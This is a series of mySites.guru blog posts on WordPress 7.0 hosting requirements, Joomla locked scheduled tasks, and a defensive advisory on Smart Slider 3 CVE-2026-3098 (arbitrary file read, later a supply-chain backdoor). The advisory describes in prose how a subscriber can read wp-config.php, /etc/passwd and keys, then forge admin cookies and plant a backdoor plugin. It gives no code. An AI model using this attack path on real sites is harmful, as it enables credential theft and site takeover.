WordPress 7.0 was released on 20 May 2026. mySites.guru is fully compatible and the hosting check below is still the fastest way to see which sites meet the PHP 7.4 and MySQL 8.0 floors.

WordPress 7.0 was originally targeting April 9, 2026, but the release has been delayed. It raises the floor: PHP 7.2 and 7.3 are gone, MySQL 8.0 is the new minimum. If you manage a handful of WordPress sites, checking each one manually is tedious. If you manage dozens or hundreds of WordPress sites, it's not realistic.

The WordPress 7 Compatibility Checker in mySites.guru scans every connected WordPress site and shows you exactly which ones meet the new requirements and which don't. Connect unlimited sites to your account and check them all from one screen. It's included in all mySites.guru subscriptions at no extra cost.

Check all your WordPress sites for 7.0 compatibility

Open WordPress 7 Compatibility Checker

Colour-codes every connected site's PHP version, database version, and auto-update status against the WordPress 7.0 requirements.

What the WordPress 7 Hosting Check Shows

The tool lists every WordPress site connected to your account. For each one, you see:

The currently installed WordPress version
Which hosting server the site runs on (hostname)
Whether AUTOMATIC_UPDATER_DISABLED is set in wp-config.php
PHP version, colour-coded against the 7.0 requirements
Database version (MySQL or MariaDB), also colour-coded

Red means below minimum. Yellow means it meets the minimum but not the recommended version. Green means the recommended version or better. Sites that need action stand out immediately.

Red, Yellow, Green: What Each Colour Means

The tool uses three tiers:

Colour	PHP	MySQL	MariaDB
Recommended	8.3+	8.4+ (LTS)	11.4+ (LTS)
Minimum	7.4 - 8.2	8.0 - 8.3	10.6 - 11.3
Below minimum	< 7.4	< 8.0	< 10.6

Yellow means your site will run WordPress 7.0, but we recommend upgrading to the current Long Term Support releases (MySQL 8.4 or MariaDB 11.4) when you can. WordPress officially requires MySQL 8.0 / MariaDB 10.6 as the floor.

If you've used our Joomla 6 compatibility checker or Joomla 5 compatibility checker, you'll recognise the format. Same approach, adapted for the WordPress 7 requirements.

Where Do I Find the WordPress 7 Compatibility Checker?

The quickest way is the keyboard shortcut: press c then 7 (lowercase c, then the number 7).

You can also open the command palette with Cmd+K (or Ctrl+K on Windows/Linux), type "wordpress 7" or "compat", and press Enter.

Or go straight to the URL: https://manage.mysites.guru/en/tools/wordpress7/compatibility (you need to be logged in).

The tool also appears on the tools selector page alongside all the other diagnostic tools.

The Auto-Updates Column

WordPress has a built-in automatic updater controlled by the AUTOMATIC_UPDATER_DISABLED constant in wp-config.php. The tool checks this for every site:

Green (Disabled) means auto-updates are off. You control when WordPress 7.0 gets applied.
Yellow (Enabled) means auto-updates are on. The site may upgrade to 7.0 on its own before you've verified hosting compatibility.

Why Does mySites.guru Recommend Disabling Auto-Updates?

WordPress auto-updates sound sensible until you're responsible for client sites, WooCommerce stores, or anything where downtime costs money:

A major version upgrade like 7.0 ships with database changes, new defaults, and deprecated functions. Plugins that worked yesterday can throw errors today.
Plugin and theme auto-updates can break layouts, conflict with other plugins, or introduce bugs without warning.
Updates during peak traffic cause temporary downtime, especially on shared hosting.
There's no built-in rollback. If an update breaks something at 3am, the site stays broken until someone notices.

The 6.9 to 7.0 jump is exactly the kind of upgrade you want to control. We saw what happens when you don't: WordPress 6.9.2 crashed websites that had auto-updates enabled. A site on PHP 7.3 won't get 7.0 at all (WordPress blocks it), but a site on PHP 7.4 with an untested plugin stack could auto-upgrade and break before you've had a chance to test anything.

What we recommend: set AUTOMATIC_UPDATER_DISABLED to true to stop all background updates, then set WP_AUTO_UPDATE_CORE to minor so security patches (like 7.0.1, 7.0.2) still apply automatically. Point releases land on their own, major version jumps wait for you.

mySites.guru can disable auto-updates across all your sites with one click per site from a single screen. No SSH, no editing wp-config.php on every server. You can also enforce minor upgrades only if you want a middle ground. And if you're curious what other wp-config constants are worth understanding, we wrote a guide to WordPress debug constants that covers the full set.

WordPress 7 Minimum Technical Requirements

WordPress 7.0 raises two floors from WordPress 6.9:

PHP minimum moves from 7.2.24 to 7.4. PHP 8.3+ is recommended.
MySQL minimum moves from 5.5.5 to 8.0. MySQL 8.4 LTS is recommended.
MariaDB 10.6 minimum (unchanged from 6.9's recommended). MariaDB 11.4 LTS is recommended.

Sites that don't meet the PHP or MySQL minimum won't be offered the WordPress 7.0 update. They stay on the 6.9 security branch until the hosting is upgraded. For the full breakdown of what changed and why, see our WordPress 7.0 requirements post.

What If My Host Doesn't Meet the Minimum?

If your hosting provider is still running PHP 7.2 or MySQL 5.7, that's a bigger problem than WordPress compatibility. MySQL 5.7 extended support from Oracle ended in October 2023. PHP 7.2 reached end-of-life in November 2020. Running either in 2026 means your server has known, unpatched security vulnerabilities regardless of what CMS is on it.

Most hosts let you change PHP versions from cPanel or Plesk without a support ticket. MySQL upgrades are usually on the host's side. If they haven't upgraded to MySQL 8 by now, the Joomla 5 MySQL 8 migration wave already pressured most providers to move, so check with your host. If they still can't offer MySQL 8, it might be time to switch.

Use the compatibility checker to filter by server hostname. That groups all your sites on the same host together, so you can see at a glance which hosting providers need attention. Once hosting is sorted, you can upgrade all your WordPress sites from one dashboard rather than logging into each one individually.

Questions?

If anything's unclear, reach out through the contact form.

A few other things worth sorting before the release: plugin vulnerability alerting catches security issues across your portfolio, locking down plugin installs prevents clients from adding untested plugins right before a major upgrade, and SSL certificate monitoring makes sure expired certs don't add to the chaos during the transition.

Smart Slider 3 Hack Allows Any File to Be Downloaded

phil@mysites.guru (Phil Taylor) — Fri, 27 Mar 2026 00:00:00 GMT

Critical update — April 8, 2026

Smart Slider 3 Pro 3.5.1.35 was a supply-chain attack

Since this post was published, a security breach affected the update infrastructure responsible for distributing Smart Slider 3 updates. Unauthorized parties published a malicious version 3.5.1.35, which may have been installed on some websites before the issue was detected. The compromised release contains a remote code execution backdoor that runs shell commands or arbitrary PHP via a single query parameter, and it affects both the WordPress and Joomla editions of Smart Slider 3 Pro.

If your site is currently on 3.5.1.34 (the version this post recommended last week), you are still safe, but you must skip 3.5.1.35 entirely and update directly to 3.5.1.36 or later. If your site ran 3.5.1.35 at any point, treat it as compromised: run the indicator-of-compromise checks and use Nextend's official cleanup script.

Last safe3.5.1.34

Compromised~~3.5.1.35~~

Update to3.5.1.36+

Read the full supply-chain compromise post

Smart Slider 3, one of the most popular slider plugins for WordPress with over 800,000 active installations, has a vulnerability that lets any registered user download any file from your server. Not just images or slider assets. Any file the web server process can read.

wp-config.php with your database credentials. /etc/passwd. Your .env file. Private SSL keys. Database backup files sitting in a directory someone forgot to protect. Payment gateway configs. SMTP credentials. If it's on the filesystem and readable by the web server, an attacker with nothing more than a free subscriber account can download it.

The vulnerability (CVE-2026-3098, CVSS 6.5 Medium) affects all versions up to and including 3.5.1.33. If you run Smart Slider 3, update to version 3.5.1.34Outdated advice. Version 3.5.1.35 was a malicious supply-chain release pushed via Nextend's update channel. Skip 3.5.1.35 and update directly to 3.5.1.36 or later. Read why. 3.5.1.36+ now.

This was first reported by Wordfence, but their disclosure doesn't mention Joomla once. Smart Slider 3 also ships as a Joomla extension, and we've confirmed it shares the same vulnerable codebase - identical files, identical hashes. If you manage Joomla sites, read the Joomla section below.

TL;DR"Too Long; Didn't Read" - a quick summary of the key points.

CVE-2026-3098 - CVSS 6.5 arbitrary file read in Smart Slider 3 versions up to 3.5.1.33
Any subscriber-level user can download any file the web server can read: wp-config.php, .env, /etc/passwd, private keys, database backups, payment configs
Update to Smart Slider 3.5.1.34Outdated advice. Version 3.5.1.35 was a malicious supply-chain release. Skip it and update directly to 3.5.1.36 or later. Read why. — now use 3.5.1.36+
After updating, regenerate your authentication keys/salts and change your database password
Sites with open user registration are at highest risk

Update now. Don't wait.

This vulnerability is public knowledge. The exploit requires only a free subscriber account. If your site allows any form of user registration, every minute you wait is a minute an attacker could be downloading your database credentials, private keys, and every other sensitive file on your server.

How Many mySites.guru Users Are Affected by Smart Slider 3?

We checked our database this morning. Across the thousands of agencies using mySites.guru:

724

Agencies affected

7,869

Sites running vulnerable versions

Every one of those agencies already has a warning in their mySites.guru dashboard, because the Wordfence Vulnerability API is built into the platform and flagged it automatically. All 724 are being emailed today.

Those 724 agencies didn't need to read this post to know they had a problem. They already knew.

How Does the mySites.guru Detection of Smart Slider 3 Work?

Twice a day, a snapshot runs on each connected WordPress site, collecting every installed plugin and its version number. That list gets cross-referenced against Wordfence, CVE/Mitre, and custom threat intelligence databases.

If your site runs Smart Slider 3 version 3.5.1.33 or earlier, it gets flagged with the specific CVE, severity rating, and a direct link to the advisory. No manual checking required.

This isn't the first time mySites.guru has flagged Smart Slider 3 either. The plugin had a previous SQL Injection vulnerability (CVE-2025-6348) in versions up to 3.5.1.28 that was also caught automatically. Here's what the vulnerability warning looks like in the mySites.guru dashboard:

Every vulnerable plugin version gets its own entry with the full advisory text, so you know exactly what the risk is before deciding how urgently to patch.

How to Quickly Find Which Sites Have Smart Slider 3 Installed with mySites.guru

When a vulnerability like this drops, the first question is: "Which of my sites have this installed?" If you manage 50 or 200 client sites, you don't have time to log into each one and check the plugins page.

mySites.guru indexes every plugin on every connected site. One URL gives you the complete list of every site running Smart Slider 3, broken down by version number, with the site's PHP version, WordPress version, and SSL status alongside it:

If you're already a mySites.guru subscriber, you can open this page right now:

View all your Smart Slider 3 installations

Open Smart Slider 3 Extension Search

Lists every version installed across all your connected sites, grouped by version number. You'll see which sites are still on vulnerable versions at a glance.

Every version of Smart Slider 3 installed across your sites is listed at the top. Below that, every individual site running the plugin, with its exact version. You can see which sites are still on vulnerable versions and which have already been updated to 3.5.1.34.

That turns a vulnerability announcement from a stressful afternoon of logging into admin panels into a five-minute triage. One page, you know exactly which clients are exposed, and you start patching.

How to Push the Smart Slider 3 Update Across All Your Sites

Once you know which sites are affected, the mass plugin updater lets you select every site running the vulnerable version and push the update in one batch. When a vulnerability drops affecting 800,000 sites, the agencies that patch in hours rather than weeks are the ones that don't end up in incident response.

If you don't have a mySites.guru account yet, sign up for a free trial and connect your sites. The plugin index builds automatically on the first snapshot.

What Happened with Smart Slider 3 CVE-2026-3098?

The vulnerability was discovered by Dmitrii Ignatyev on February 23, 2026, and reported through the Wordfence Bug Bounty Program (earning a $2,208 bounty). Wordfence validated the proof-of-concept the next day and notified the developer, Nextend.

The problem is a missing capability check in Smart Slider 3's export functionality. The plugin's AJAX actions that handle slider exports are protected by a nonce (a one-time token that proves the request came from a logged-in session), but there's no check on whether the user actually has permission to use that feature.

A nonce proves you're logged in. It doesn't prove you're an admin.

In the vulnerable version, any authenticated user, including someone with just a subscriber account, could:

Obtain the required nonce (it's available to any authenticated user)
Call the actionExportAll function via AJAX
Receive a ZIP file containing exported slider data, including any referenced files

The ExportSlider class's create() method adds files to the export ZIP using file_get_contents() without validating file types or restricting which directories can be accessed. Image files, video files, PHP files, config files, private keys - everything is treated the same way. There is no allowlist, no path restriction, and no file extension check. An attacker can manipulate the export to include any file the web server process can read.

Important: this is not limited to wp-config.php

Any file readable by the web server is exposed. That includes .env files, /etc/passwd, database backups, SSL private keys, payment gateway configs, SMTP credentials, and any other sensitive file on the server. If you run Smart Slider 3 on a shared hosting account, other sites on the same server may also be at risk depending on your host's isolation setup.

Why Is the Smart Slider 3 File Read So Dangerous?

wp-config.php gets the most attention because it contains everything an attacker needs to own your site, but most servers have sensitive files well beyond WordPress configs.

A single read of wp-config.php gives an attacker:

Database username, password, host, and database name. If the database port is accessible from outside the server (more common than you'd think on budget hosting), they can connect directly and pull user password hashes, customer data, WooCommerce orders, and private content.
Authentication keys and salts - the eight constants (AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY, NONCE_KEY, and their corresponding salts) that WordPress uses to sign session cookies. With these values, an attacker can forge a valid admin session cookie without knowing the admin password.
The table prefix, which makes SQL injection attacks against other vulnerabilities more precise.
Any third-party secrets stored as constants: API keys, payment gateway credentials, SMTP passwords, cloud storage keys. Many plugins put these in wp-config.php.

The practical attack chain: forge an admin cookie using the stolen keys, log into wp-admin, install a backdoor plugin, and maintain persistent access even after the original vulnerability is patched.

Who Is at Risk from the Smart Slider 3 Vulnerability?

The vulnerability requires subscriber-level authentication, the lowest role in WordPress. This means:

WooCommerce stores, where customers create accounts to place orders (subscriber access)
Membership sites and anything using a registration plugin
Any site with "Anyone can register" enabled in Settings > General
Multisite networks, where user registration on any site in the network provides the access level needed
Sites with compromised low-privilege accounts from a previous breach or credential stuffing attack

If your site doesn't allow any form of user registration and has no subscriber accounts, the risk is significantly lower (but not zero, since an attacker could exploit a separate vulnerability to create an account first).

What Should You Do About Smart Slider 3 Right Now?

1. Update Smart Slider 3 to 3.5.1.34Outdated advice. Version 3.5.1.35 was a malicious supply-chain release pushed via Nextend's update infrastructure. Skip 3.5.1.35 entirely and update directly to 3.5.1.36 or later. Read why. 3.5.1.36 or Later

The 3.5.1.34 patch adds capability checks to the export AJAX actions and originally fixed CVE-2026-3098. However, version 3.5.1.35 was a malicious supply-chain release containing a remote code execution backdoor. Always install 3.5.1.36 or newer to get both the CVE fix and a clean codebase. Update through the WordPress plugin updater or download from wordpress.org. See the supply-chain compromise post for the full background.

If you manage multiple sites, use the mySites.guru mass updater to push the update everywhere at once.

2. Regenerate Your Authentication Keys and Salts

If there's any chance the vulnerability was exploited before you patched, your keys and salts should be considered compromised. Generate new ones at api.wordpress.org/secret-key/1.1/salt/ and replace the existing values in wp-config.php. This immediately invalidates all active sessions, forcing every user (including any attacker with a forged cookie) to log in again.

3. Change Your Database Password

Update the password in your hosting control panel or database server, then update DB_PASSWORD in wp-config.php to match. If the attacker read your credentials, this cuts off direct database access.

4. Audit Your User Accounts

Check your WordPress user list for accounts you don't recognize, especially subscribers. Delete any unauthorized accounts. If you manage multiple sites, mySites.guru's user management lets you review accounts across all your sites from one place.

5. Run a Security Audit

Use the mySites.guru suspect content scanner to check for backdoors or modified files. If an attacker escalated from file read to admin access using forged cookies, they may have left persistent backdoors that survive the plugin update.

Set up real-time file change monitoring so you'll be alerted immediately if any watched files are modified after cleanup.

6. Review Server Access Logs

Check your access logs for unusual requests to Smart Slider 3's AJAX endpoints. Look for POST requests to admin-ajax.php with actions related to slider export from IP addresses you don't recognize. This can help determine whether the vulnerability was exploited before the patch.

Smart Slider 3 Has a History of Vulnerabilities

This isn't a one-off. Smart Slider 3 has had eight documented vulnerabilities since 2021, including two High-severity issues in 2022. If you're running this plugin, you need to stay on top of updates.

Year	CVE	Type	CVSS	Min. Role	Fixed In
2021	CVE-2021-24382	Stored XSS	4.8	Author	3.5.0.9
2022	CVE-2022-3357	PHP Object Injection	8.1	Subscriber	3.5.1.11
2022	CVE-2022-45843	Stored XSS	5.4	Contributor	3.5.1.11
2022	CVE-2022-45845	Deserialization of Untrusted Data	8.8	Subscriber	3.5.1.11
2023	CVE-2023-0660	Stored XSS	6.8	Contributor	3.5.1.14
2024	CVE-2024-3027	Missing Auth / File Upload	6.4	Subscriber	3.5.1.23
2025	CVE-2025-6348	SQL Injection via `sliderid`	7.6	Admin	3.5.1.29
2026	CVE-2026-3098	Arbitrary File Read	6.5	Subscriber	3.5.1.34

Notice the pattern: three of these eight vulnerabilities (including the current one) require only subscriber-level access. That's the lowest authenticated role in WordPress. The 2022 PHP Object Injection (CVSS 8.1) and Deserialization (CVSS 8.8) issues were both subscriber-exploitable too.

The vendor has patched every disclosed vulnerability, and the response time on CVE-2026-3098 (acknowledged March 2, patched March 24) was reasonable. But the recurring pattern, especially around subscriber-level exploits, is something to factor into your risk assessment if you're deciding whether to keep using this plugin.

Is the Joomla Version of Smart Slider 3 Also Vulnerable?

Yes. Smart Slider 3 is available for both WordPress and Joomla, and they share the same Nextend framework codebase. We compared the patched Joomla release (3.5.1.34) against the patched WordPress release and found identical files - the md5 hashes of both ExportSlider.php and ControllerSliders.php match exactly between platforms.

The vulnerable code path is the same on both platforms: the actionExportAll() method lacked a permission check, and ExportSlider::create() had no file extension whitelist. The 3.5.1.34 patch adds validatePermission('smartslider_edit') and restricts exported files to image and media extensions (jpg, png, gif, mp4, mp3, svg, webp, avif).

The Smart Slider 3 changelog is unified across both platforms, and the 3.5.1.34 entry ("Fix: Vulnerability improvements") applies to WordPress and Joomla equally. Earlier entries in the same changelog reference Joomla-specific features like Joomla 6 compatibility, VirtueMart generators, and Joomla article generators, confirming this is a single shared codebase.

If you run Smart Slider 3 on Joomla sites, update to 3.5.1.34Outdated advice. Version 3.5.1.35 was a malicious supply-chain release affecting both the WordPress and Joomla editions. Skip 3.5.1.35 and update directly to 3.5.1.36 or later. Read why. 3.5.1.36+ with the same urgency. The Wordfence disclosure focuses on WordPress, but the Joomla version carries identical risk.

This is a recurring pattern for cross-platform plugins. The same thing happened with AcyMailing CVE-2026-3614 in April 2026: a WordPress-only CVE, a vendor patch that covers both CMS platforms, and no advisory reaching the Joomla half of the affected installations. If you run Joomla sites with plugins that also ship a WordPress build, watch the WordPress CVE feeds too.

Smart Slider 3 CVE-2026-3098 Disclosure Timeline

Date	Event
February 23, 2026	Vulnerability submitted to Wordfence Bug Bounty by Dmitrii Ignatyev
February 24, 2026	Wordfence validated the proof-of-concept
February 24, 2026	Full details sent to Nextend (Smart Slider developer)
February 24, 2026	Wordfence Premium/Care/Response users received a firewall rule
March 2, 2026	Nextend acknowledged the report and began working on a fix
March 24, 2026	Patched version 3.5.1.34 released
March 26, 2026	Wordfence Free users received the firewall rule

Want Someone to Handle the Smart Slider 3 Fix for You?

If you'd rather hand this off, visit fix.mysites.guru and submit a request. For a one-time set fee, the site gets patched, audited, locked down, and handed back secure. Non-subscribers get a free month of mySites.guru included.

Detect Locked Joomla Scheduled Tasks Before They Cause Problems

phil@mysites.guru (Phil Taylor) — Thu, 26 Mar 2026 00:00:00 GMT

Joomla's Task Scheduler has been running background jobs since Joomla 4.1: sending update notifications, cleaning up expired sessions, rotating logs, processing privacy consent requests. It works well, right up until a task crashes mid-execution. When that happens, the lock is never released. The task sits there marked as "running" even though the process died minutes or hours ago.

In the Joomla admin, locked tasks show up with a running person icon in System > Scheduled Tasks:

But nobody checks that screen regularly. If you manage 30 Joomla sites, you're not logging into each one to inspect the task scheduler. Update notifications stop arriving, sessions pile up, logs grow unchecked, and you don't find out until something breaks.

Locked-Task Detection in Every Snapshot

Every time you run a snapshot on a Joomla 5 or 6 site, mySites.guru checks for locked scheduled tasks automatically. The result appears in the audit dashboard alongside the rest of your site health data:

0 locked tasks: green badge, everything healthy
1 or more locked tasks: warning badge with the count, plus Investigate and Fix buttons

Click Investigate to see exactly which tasks are stuck. mySites.guru connects to the site and pulls the full details: task name, type, how long it's been locked, the last exit code, and an Unlock button to fix it on the spot.

If a task has been locked for more than 15 minutes, mySites.guru flags it with an additional warning. Joomla's default task timeout is 300 seconds. Anything beyond that is almost certainly stuck, not actively running.

The check itself is lightweight - a single COUNT(*) query against an indexed column, adding negligible overhead to the snapshot.

What about checking all your sites at once?

If you manage dozens or hundreds of Joomla sites, you don't want to open each snapshot individually. The pivot page shows the locked task count for every connected Joomla site on a single screen. One glance tells you which sites have stuck tasks and which are clean. Click Investigate on any flagged site to drill into the details, or Fix to unlock the stuck tasks remotely.

This is where the real time savings come in. Instead of logging into 200 Joomla admin panels to check System > Scheduled Tasks on each one, you get the full picture from one page. Sites with zero locked tasks show green. Sites with stuck tasks show a warning count. Sort, scan, fix, move on.

The Downstream Damage From Locked Tasks

Stuck scheduled tasks don't crash your site, but the downstream effects accumulate:

Update Notification: you stop getting emails about available Joomla and extension updates. The update check still works from mySites.guru, but local admin notifications go silent.
Session GC: expired sessions aren't cleaned up. The #__session table grows, slowing database queries.
Privacy Consent: GDPR consent expiry processing stops. Users who should be re-prompted aren't.
Log Rotation: action logs grow without bounds. On high-traffic sites, this eats disk space fast.
Custom tasks from third-party extensions stop running with no error message.

That last one deserves extra attention. Third-party extensions can register their own scheduled tasks via com_scheduler plugins. Akeeba Backup is the most common example - it provides a task plugin for automated backup schedules. If you've set up Akeeba to run nightly backups via the scheduler and the task locks, your backups stop silently. You won't know until you need a restore and find the most recent backup is three weeks old.

Any extension that ships a com_scheduler task plugin is at risk. The Investigate view in mySites.guru shows the task type identifier, so you can tell immediately whether a locked task belongs to Joomla core or a third-party extension.

com_scheduler is also worth keeping up to date for security reasons - the Joomla 5.4.6 and 6.1.1 security release closes an ACL bypass in the scheduler itself, so patching alongside the regular lock-detection workflow is a good idea.

None of these cause immediate, visible errors. That's the problem. They're the kind of issues you discover weeks later when someone asks "why haven't we had an update notification in a month?" or when a backup is needed and the latest one is stale.

Why do Joomla scheduled tasks get stuck?

Joomla scheduled tasks get stuck when the PHP process running them dies without releasing the database lock. The four most common causes:

PHP hits max_execution_time or memory_limit, the process dies, and the database lock persists because there's no cleanup handler.
Long-running tasks lose their database connection, especially on shared hosting with aggressive connection timeouts.
The web server or PHP-FPM restarts while a task is running. The lock stays.
A third-party plugin providing a scheduled task throws a fatal error. The task framework can't catch it, so the lock remains.

These aren't edge cases. On a busy shared host, PHP timeouts and connection drops happen regularly. If you manage multiple Joomla sites across different hosts, you'll eventually run into locked tasks on at least a few of them.

Note: Joomla 5.4.2 improved cascade behaviour

Before Joomla 5.4.2, a single stuck task would block all other scheduled tasks from running. The scheduler checked for any locked task and refused to start new ones, even if the lock had long exceeded its timeout. Joomla 5.4.2 fixed this by respecting the configured timeout, so a timed-out task no longer prevents other tasks from executing. The stuck task itself still needs manual unlocking, but at least it no longer takes the entire scheduler down with it.

How do I unlock a stuck Joomla scheduled task?

The fastest way is directly from mySites.guru. When the snapshot flags locked tasks, click Fix to unlock them remotely. mySites.guru connects to the site and clears the lock on the stuck tasks without you ever logging into the Joomla admin. This is the whole point of the feature - detect and resolve locked tasks across all your sites from one dashboard, instead of logging into each one individually.

If you prefer to fix it manually, you can also unlock tasks from the Joomla admin:

Go to System > Scheduled Tasks
Find the task showing the running person icon
Click the task to open it
The task detail screen will show the lock state, and you can manually unlock it

Or if you have database access:

UPDATE #__scheduler_tasks SET locked = NULL WHERE id = <task_id>;

Replace #__ with your actual table prefix (usually jml_ or similar) and <task_id> with the task ID shown in the mySites.guru investigate results.

Supported Joomla Versions for This Check

The Task Scheduler was introduced in Joomla 4.1, but this feature targets Joomla 5 and Joomla 6 sites. Those are the actively supported major versions, and the ones where mySites.guru invests in new audit tooling.

Joomla 4 sites will not show locked task data. Joomla 3 has no task scheduler at all.

Credit for the Feature Request

This feature was requested by Marc Dechèvre (WoluWeb), a long-time Joomla contributor and mySites.guru user. Marc noticed that locked tasks were a recurring pain point for agencies managing Joomla sites at scale. The information was always there in the database, but nobody had an easy way to check it across multiple sites without logging into each one individually.

If you have feature ideas for mySites.guru, get in touch via the contact form or reply to any newsletter email. User feedback drives the roadmap.

How do I try it?

The locked scheduled tasks check ships with all mySites.guru subscriptions at no extra cost. Connect your Joomla 5 or 6 sites and the next snapshot picks up any locked tasks automatically.

Not a subscriber? The free audit runs a broad set of Joomla health checks on any site. Worth a look.

How to Check Your Sites for WordPress 7.0 Compatibility

phil@mysites.guru (Phil Taylor) — Thu, 26 Mar 2026 00:00:00 GMT

Update (21 May 2026): WordPress 7.0 "Armstrong" has shipped.

WordPress 7.0 was released on 20 May 2026 after the April delay. mySites.guru is fully compatible. Real-time collaboration was pulled from the release and deferred to 7.1, but the PHP 7.4 and MySQL 8.0 minimums below are confirmed.

WordPress 7.0 was originally scheduled for April 9, 2026, but the release has been delayed while the core team reworks the real-time collaboration architecture. It raises two big floor requirements: PHP 7.2 and 7.3 are dropped (minimum moves to PHP 7.4), and MySQL 8.0 is now the minimum database version (up from 5.5.5 in WordPress 6.9). Sites that don't meet either requirement will not be offered the auto-update.

If you manage a portfolio of WordPress sites, these are the kind of changes that catch you off guard. A site on old PHP, or a shared host still running MySQL 5.7, and suddenly that site is stuck on 6.9 while everything else moves forward. mySites.guru flags exactly which sites are affected. The Sites Overview shows PHP versions, MySQL/MariaDB versions, and WordPress versions for every connected site. Sites below the 7.0 minimums stand out immediately. If you're not a subscriber yet, the free audit reports PHP versions too.

What Changed Between WordPress 6.9 and 7.0?

Component	WordPress 6.9	WordPress 7.0	Changed?
PHP (minimum)	7.2.24	7.4	Yes
PHP (recommended)	8.3	8.3+	No
MySQL	5.5.5	8.0	Yes
MariaDB	10.6 (recommended)	10.6	No
HTTPS	Recommended	Recommended	No
Web Server	Apache or Nginx	Apache (mod_rewrite) or Nginx	No

The PHP change is the one that will actually affect sites. PHP 7.2 and 7.3 usage dropped below 4% of monitored WordPress installs, which is below the 5% threshold the WordPress project uses for dropping support. The official announcement went up in January.

MySQL also gets a formal minimum bump. WordPress 6.9 technically allowed MySQL 5.5.5, though MySQL 5.7 extended support from Oracle ended back in October 2023. If your hosting provider is still running MySQL 5.x, that's a bigger problem than WordPress compatibility.

What happened when Joomla required MySQL 8?

Joomla went through this exact pain already. When Joomla 5 launched in October 2023 with MySQL 8.0.13 as its minimum, budget shared hosts weren't ready. HostGator told users they'd need to move to a VPS at roughly 6x the cost. GoDaddy's response to "when will shared hosting get MySQL 8?" was basically "we don't know." SiteGround didn't even start their MySQL 8 rollout until April 2024, six months after Joomla 5 launched, and the migration took 63 days and 1,228 engineering hours across roughly 3 million databases.

The result was a two-year window where Joomla users on cheap shared hosting were stuck: their host wouldn't upgrade MySQL, they couldn't upgrade to Joomla 5, and Joomla 4 was marching toward end-of-life. Many switched to MariaDB (which hosts offered more readily) or changed providers entirely.

WordPress users are unlikely to hit this as hard. WordPress was still allowing MySQL 5.5.5 until now, so the jump to 8.0 sounds dramatic, but most hosts upgraded to MySQL 8 during the Joomla migration wave. If your host survived the Joomla 5 transition, you're probably fine. If they didn't, well, that tells you something about your host.

Sites on PHP 7.2 or 7.3 Stay on the 6.9 Branch

They don't break. WordPress won't force an incompatible update. Instead:

WordPress 7.0 will not be offered via the automatic update mechanism. Auto-updates skip these sites entirely.
Security patches for 6.9.x will continue, so sites aren't left exposed. They stay on the 6.9 security branch.
Manual updates are blocked too. The Dashboard > Updates screen will tell the site owner to upgrade PHP first.

The risk isn't immediate breakage. It's drift. A site stuck on 6.9 gradually falls behind on features, plugin vulnerability patches, and eventually security coverage when the 6.9 branch reaches end of life.

How Do You Check PHP Versions Across All Your Sites?

Checking one site is easy: Dashboard > Tools > Site Health. Checking 50 or 500 is not.

WordPress 7 Compatibility Checker

We built a dedicated WordPress 7 Compatibility Checker that lists every connected WordPress site and colour-codes each one against the 7.0 requirements. You can open it from the command palette (Cmd+K or Ctrl+K) by typing "wordpress 7", or with the keyboard shortcut c then 7.

If you're already a mySites.guru subscriber, you can open this tool right now:

Check all your WordPress sites for 7.0 compatibility

Open WordPress 7 Compatibility Checker

Colour-codes every connected site's PHP version, database version, and auto-update status against the WordPress 7.0 requirements. Sites that need attention are flagged immediately.

For each site, the tool shows:

PHP version - green if 8.3+ (recommended), yellow if 7.4+ (minimum), red if below 7.4
Database version - green for MySQL 8.4+ or MariaDB 11.4+ (current LTS releases), yellow for MySQL 8.0+ or MariaDB 10.6+ (official minimum), red if below
Auto-update status - whether AUTOMATIC_UPDATER_DISABLED is set in wp-config.php, so you know which sites might auto-upgrade to 7.0 before you're ready
Server hostname - quickly spot which hosting provider or server needs attention

Sites that need action stand out immediately. Filter by hostname to see all sites on one server, or by PHP version to group sites that need the same upgrade. For a closer look at how the colour coding works and what each column means, see the WordPress 7 technical requirements check walkthrough.

The Sites Overview also shows PHP and database versions for every connected site if you need a broader view across both WordPress and Joomla. If you're not a subscriber yet, the free audit reports PHP versions too.

From there, coordinate with hosting providers to upgrade PHP on the affected servers before the release. The delay gives you extra time to prepare. Most hosts let you change PHP versions from cPanel or Plesk without a support ticket.

What Else Is New in WordPress 7.0

PHP and MySQL are the operational headaches, but 7.0 ships a lot more than version bumps.

Real-Time Collaboration

Phase 3 of the Gutenberg roadmap lands here: real-time collaborative editing in the block editor. Multiple users can edit the same post simultaneously, with changes synced using Yjs (a conflict-free data merging library).

The default transport is HTTP polling, which works on every host with no special server configuration. Hosting providers can optionally enable WebSocket support for lower latency via the sync.providers filter.

One caveat: posts that use classic meta boxes will fall back to traditional post locking instead of real-time collaboration. If you have custom meta boxes, migrate them to register_post_meta() with show_in_rest => true or you won't get the collaborative editing.

During the beta/RC period, collaboration is controlled by the WP_ALLOW_COLLABORATION constant in wp-config.php. After the stable release, it should be on by default.

AI Infrastructure

WordPress 7.0 ships a provider-agnostic AI client (WP_AI_Client_Prompt_Builder) that lets plugins call OpenAI, Anthropic, Google, and other LLM providers through a unified PHP API. A new Connectors API at Settings > Connectors centralizes credentials for external services.

There's also an MCP Adapter that exposes WordPress "Abilities" as Model Context Protocol tools at /wp-json/mcp/v1/, authenticated via Application Passwords. If you've been following the MCP spec, this is WordPress giving plugins a standardized way to talk to AI agents.

You can disable all AI features with a single config option if you don't want LLM integration on a site.

Everything Else

Images are now resized and compressed in the browser before upload (client-side media processing), which reduces server load
Blocks can be shown or hidden per screen size (mobile, tablet, desktop)
The Posts, Pages, and Media screens use new DataViews (list/grid toggle) instead of WP_List_Table
A "Modern" admin color scheme replaces "Fresh" as the default. The old scheme is still available.
Cmd+K / Ctrl+K opens a Command Palette in the admin bar for quick navigation
New blocks: Breadcrumbs, Icons, Gallery lightbox, Grid (responsive), Cover (video embeds)
The Font Library now works with classic and hybrid themes, not just block themes

The Phased Rollout Plan for 7.0

If you've been testing during the RC cycle, yes - update production sites as soon as the stable release is available. If you haven't been following the pre-release builds, test on a staging site first and update production once you're confident.

The delay actually works in your favour here. Use the extra time to:

Run the WordPress 7 Compatibility Checker to identify sites below PHP 7.4 or MySQL 8.0, then coordinate hosting upgrades
Test on staging with the latest RC/beta, especially if you use custom meta boxes or heavily customized themes
Review plugin compatibility - major WordPress releases sometimes break plugins that rely on internal APIs
Plan mass upgrades - once you're confident, mySites.guru lets you roll out WordPress updates across all sites from one place

If you want to control the rollout more tightly, you can enforce minor upgrades only or disable automatic updates entirely so sites don't auto-update to 7.0 before you're ready.

How to Check Your Joomla Database Security with mySites.guru

